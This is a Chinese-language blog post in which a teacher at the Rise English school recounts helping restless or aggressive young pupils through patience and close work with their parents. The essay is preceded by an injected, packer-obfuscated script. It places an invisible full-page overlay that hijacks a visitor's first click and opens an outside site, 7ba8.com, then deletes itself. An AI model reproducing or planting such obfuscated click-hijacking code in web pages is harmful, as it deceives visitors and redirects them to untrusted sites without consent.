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<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>I am the best I can be…There is no one like me…I have a smile, a face, a name.No one else is just the same.这首小诗是在暑假带瑞思游学团去加州小学时，在教室里看到的。“No one else is just the same”是我最喜欢的一句。每个人都是独立的个体，因遗传，成长，教育环境等诸多因素的影响下，每个孩子都是独一无二的，那么就要求教育者能够因材施教，才能发挥每个孩子的特长和优势。子曰：“有教无类”也正说明这个道理。现在从事教育行业已经四年，遇到过很多调皮的孩子，有好奇打开灭火器的，有趁着老师不注意翻出气球吹了一办公室的，也有自己装作柯南藏进柜子里让全校老师各种找的。对这样的孩子，老师们要有耐心，理解孩子淘气的动机，尊重每个孩子的独特性，这样便更容易产生共鸣，更好管理了。遇到他们，你怎么办？从孩子的角度体会，问题迎刃而解刚进瑞思时，Aaron小朋友总是沉浸在自己的世界里，拿着手指头当飞机呀坦克呀，因为处于语言沉默期，基本都课上没什么反应。只看到他坐在凳子上不会超过3分钟，便开始“变身”，要么趴在桌子底下，要么开始满屋子乱跑。她的妈妈也经常和我抱怨，自己的儿子怎么不像人家的孩子一样乖巧。我和妈妈开玩笑，你爱他就要全盘接受他，他就是这样个样子的呀。 在课堂上，我和搭档不会强制让他坐在凳子上，有时候他自己溜到地板上坐，我会宽容的告诉他，你可以坐在地上，但是要确保跟着老师就可以。每次提醒他他回到座位上时，便马上给予鼓励。一个月，两个月，三个月，半年的努力后，小Aaron从只能在凳子上坐3分钟，到可以坐5分钟。后来他进入K阶段，在学习了K半年之后，有一次我去他班进班听课，在门口远远的望着他，他依然爱动，小屁股很难黏在凳子上，不过让我惊讶的是，他不像半年以前，坐不住凳子了，而是屁股离开了凳子摇了摇，又坐了回去，当时心里很感动。教育这件事，就像种花，你经年累月的浇水施肥，才会有破土—发芽—成长—开花。效果不是一蹴而就的，做这行，满足感来的很慢。现在的小Aaron，已经上小学啦，妈妈说，现在不但英语学的好，在瑞思培养的习惯对他学校里也很有帮助！瑞思老师Toma：要以接纳的心态去看待每一个孩子，每个孩子都有他的特点，慢慢去改变。尊重孩子的个体差异，因地制宜采取适合孩子的教育方法。言传不如身教，拒绝暴力传递Thomas小朋友小时候，因为爸爸不懂孩子的心里特点，加上他又比较好动淘气，爸爸经常打骂，久而久之，Thomas小朋友会把家里爸爸对待他的方式带到瑞思来，表达自己的感情时，也经常是拳脚交加。班级里有好几个小朋友的家长“投诉”他。得知此事后，学校很重视。我和妈妈沟通后发现，Thomas在如何表达自己感情时，会遇到困难，他“喜欢”你的方式，也许是拍你一下，或者打你一拳，无非是要引起你的重视和注意。我和妈妈深入沟通，给出了强制的建议，决不能再打孩子。家庭教育很重要，所以父母一定要重视自己的一言一行，因为孩子就是爸爸妈妈的影子。 经过了2年的学习，Thomas慢慢懂得了要用让朋友们能接受的方式表达自己的情感。渐渐在班级里也有了自己的朋友，还有小女朋友呢！校方也多次和这个班级的其他家长沟通，每个孩子都有受教育的权利，大家从“排斥”这个小家伙，到现在都能够接受他，并开始欣赏他的不同之处，真是有了很大转变。妈妈在给孩子续报Pre-rise阶段的时候，感慨万千，说就怕瑞思不让Thomas接着学习了，这里很适合他，在瑞思的帮助下，他们的家庭教育也有了很大转变，爸爸不再打骂孩子，开始转变对儿子的态度，小Thomas温和多了。瑞思老师Toma：每个孩子的成长环境不同，他们的行为模式也许会有不一样，但我们作为教育者，要深入了解其行为背后的原因，给予专业的建议，会对这个家庭有终身的改变。相信他以后会越来越好！后记：记得儿时的自己淘气又鬼灵精怪，很不受老师喜欢呢，大多老师都觉得我太“特别”，不听话又爱捣乱。不过幸运的是，在童年的记忆中，有几位老师是深深“懂”我的，并用很独特的方式对我进行引导，现在想来，儿童时期的教育对我产生了长远而深刻的影响。有一次和小朋友打架，指甲刮伤了一个女同学，在大部分老师都“鄙视”我的时候，只有一位老师温柔地帮我剪指甲，和我聊天，慢慢引导我要如何与伙伴相处。初中时期，正值青春期叛逆，班级里的一群小伙伴把英语老师气走，没人接我们班，一位叫Emma的老师和全校闻名的高二七班的孩子们相处融洽，她用了很多奖励机制和课堂组织形式，慢慢征服了我们这群“野孩子”。与孩子沟通，站在他们的角度会更容易。 |
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